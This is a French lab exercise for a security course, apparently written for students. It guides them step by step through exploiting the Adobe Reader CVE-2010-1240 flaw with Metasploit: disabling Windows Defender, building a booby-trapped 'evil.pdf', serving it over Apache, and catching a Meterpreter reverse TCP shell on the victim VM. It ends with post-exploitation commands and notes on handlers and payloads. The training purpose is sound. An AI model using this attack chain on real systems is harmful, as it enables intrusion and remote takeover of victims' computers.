

## TP1: Exploitation de la vulnérabilité Adobe Reader 9

Dans ce premier TP nous allons voir comment exploiter une vulnérabilité sur Adobe Reader (CVE-2010-1240).

Cette vulnérabilité a touché les versions Adobe Reader et Acrobat 9.x avant 9.3.3, et 8.x avant 8.2.3 sur Windows et Mac OS X.



Cette vulnérabilité permet à des attaquants distants d'inciter des utilisateurs à exécuter un programme local arbitraire spécifié dans un document PDF.

Cette fois ci nous allons exploiter la vulnérabilité sur un système d'exploitation Windows

**Attention !/!:** Vous n'avez pas le droit d'exploiter des vulnérabilités sur des machines qui ne vous appartiennent pas.

**1)** Lancez vos deux machines virtuelles Kali et Windows, assurez vous que les deux machines communiquent ensemble en lançant un "*ping*" d'une machine à l'autre.

**2)** Désactivez l'anti-virus et le pare-feu de votre machine Windows: cliquez sur "Démarrer", sur la barre de recherche, tapez "Windows Defender", rendez vous sur le "centre de sécurité Windows Defender".

- Cliquez sur "Pare-feu et protection du réseau" et ensuite sur "Réseau public" et cliquez sur "Désactivé".
- Cliquez aussi sur "Protection contre les virus et menaces" ensuite sur "Paramètres de protection contre les virus et menaces" et vous désactivez tout ce que vous avez sur la fenêtre qui s'affiche.

Il se peut que ces étapes doivent être refaites à chaque redémarrage de votre machine.

**3)** la version vulnérable d'Adobe Reader se trouve déjà sur vos machines virtuelles Windows.

Nous allons simuler un exploit qui permet de lancer des commandes arbitraires à distance à l'aide d'une charge utile dissimulé dans un fichier de type .pdf non légitime permettant de prendre la main sur la machine cible.

**a)** taper la commande "*msfconsole*" pour lancer l'interface console de metasploit framework.

**b)** Tapez la commande "*use exploit/windows/fileformat/adobe\_pdf\_embedded\_exe*".

**c)** Tapez la commande "*show options*"


**d)** Tapez la commande `"set LAUNCH_MESSAGE <le message que vous voulez afficher à l'utilisateur pour l'inciter à continuer à ouvrir le pdf>"` exemple: Click Open to continue

**e)** Tapez la commande `"exploit"`. Comment s'appelle votre fichier malveillant ?

Il faut maintenant transférer le fichier malveillant sur la machine Windows. Supposons que vous êtes un attaquant, comment auriez-vous procédé ?

**f)** Ouvrez un autre terminal sur votre machine Kali et tapez les commandes suivantes en tant que `root`:

- `service apache2 start`
- `cp <le chemin vers le fichier evil.pdf> /var/www/html/` ; Que fait cette commande ?
- `ls /var/www/html/` vous devriez voir le fichier "evil.pdf"

 **g)** Rendez-vous maintenant sur la machine Windows, ouvrez le navigateur web EDGE et entrez le lien suivant: `<IP de votre machine Kali>/evil.pdf` ; Faites un clic droit sur le fichier qui s'affiche sur votre navigateur et enregistrez-le sur votre Bureau sans l'ouvrir.

**h)** Revenez sur votre machine Kali et tapez la commande `"use exploit/multi/handler"` Cette commande permet de créer un "handler". Qu'est-ce qu'un Handler ?

**i)** Tapez la commande `"set payload windows/meterpreter/reverse_tcp"`

**j)** Tapez la commande `"show options"`. Si dans LHOST vous n'avez pas l'adresse IP de Kali, tapez la commande suivante: `"set LHOST <IP de Kali>"` et LPORT doit être à 4444.

**k)** Tapez la commande `"exploit"`. La machine Kali lance le reverse TCP Handler ce qui signifie qu'elle va se mettre en écoute jusqu'à ce que le fichier soit lancé sur la machine cible.

**l)** Revenez sur votre machine Windows et ouvrez le fichier evil.pdf. S'il vous propose de sauvegarder un fichier "template.pdf" choisissez le même chemin que votre fichier "evil.pdf" et cliquez sur "Enregistrer"

**m)** Quel est le message qui s'affiche après avoir cliqué sur "Enregistrer" ? Cliquez sur "Open"

Que remarquez-vous sur la machine Kali ?

Continuer à travailler depuis votre machine Kali et tapez les commandes suivantes:

- Tapez la commande `"pwd"`. Que permet cette commande ?
- Tapez la commande `"execute -f notepad.exe"`
- Tapez la commande: `keyboard_send "Bonjour, je suis un attaquant"` Que remarquez-vous sur le notepad de votre machine Windows ?
- Tapez la commande `"ps"`. Qu'affiche cette commande? vous pouvez fermer n'importe quel processus avec la commande `"kill <PID de l'application>"`

### **Notes:**

Si votre session s'est fermée vous pouvez la réouvrir en tapant la command " sessions -i 1" où "1" est le numéro de la session qui a été fermée.

**handler:** c'est une fonctionnalité intégrée au Metasploit Framework qui agit comme un récepteur et un gestionnaire pour les connexions inversées établies lors d'une exploitation réussie.

Lorsqu'un exploit est exécuté avec Metasploit, il peut permettre à un attaquant de prendre le contrôle d'un système vulnérable. Une fois que l'exploit réussit, le "handler" entre en jeu pour gérer la communication bidirectionnelle entre l'attaquant et la machine compromise.

L'utilisation du "handler" dans Metasploit Framework facilite la post-exploitation.

**meterpreter** est un payload (charge utile) spécifique utilisé dans le cadre du Metasploit Framework. Il s'agit d'un composant puissant et polyvalent qui permet à l'attaquant d'avoir un contrôle total sur un système compromis.

Le rôle de Meterpreter est de fournir une interface en ligne de commande interactive et un environnement riche en fonctionnalités pour l'exploration, la manipulation et l'exploitation des systèmes compromis.

Le handler dans Metasploit Framework est responsable de l'établissement d'une session interactive entre l'attaquant et le système cible, il est chargé de gérer les connexions inversées lors d'une exploitation réussie. Meterpreter, quant à lui, est un payload spécifique qui est déployé par le handler (une fois la session établie) pour exécuter des commandes, récupérer des informations, exfiltrer des données, manipuler le système d'exploitation, effectuer des mouvements latéraux, etc. La combinaison du handler et de Meterpreter permet à l'attaquant d'avoir un contrôle total et avancé sur le système compromis.

**Une charge utile**, également connue sous le nom de "payload" en anglais, fait référence à un code, un script ou un ensemble d'instructions qui est transporté par un logiciel malveillant ou un exploit dans le but de causer des dommages ou de réaliser des actions spécifiques sur un système cible. Permettant à l'attaquant d'exploiter une faille de sécurité, d'obtenir un accès non autorisé, de voler des données sensibles, de prendre le contrôle du système, etc.

La nature spécifique d'une charge utile dépend de l'objectif de l'attaquant ou du testeur d'intrusion. Elle peut inclure des scripts malveillants, des codes d'injection, des logiciels malveillants tels que les chevaux de Troie, les ransomwares ou les keyloggers, ou même des outils spécialisés comme Meterpreter dans le cadre du Metasploit Framework.

Il est important de noter que l'utilisation du Metasploit Framework doit être effectuée dans le cadre d'une autorisation légale et éthique, telle qu'un test de pénétration autorisé.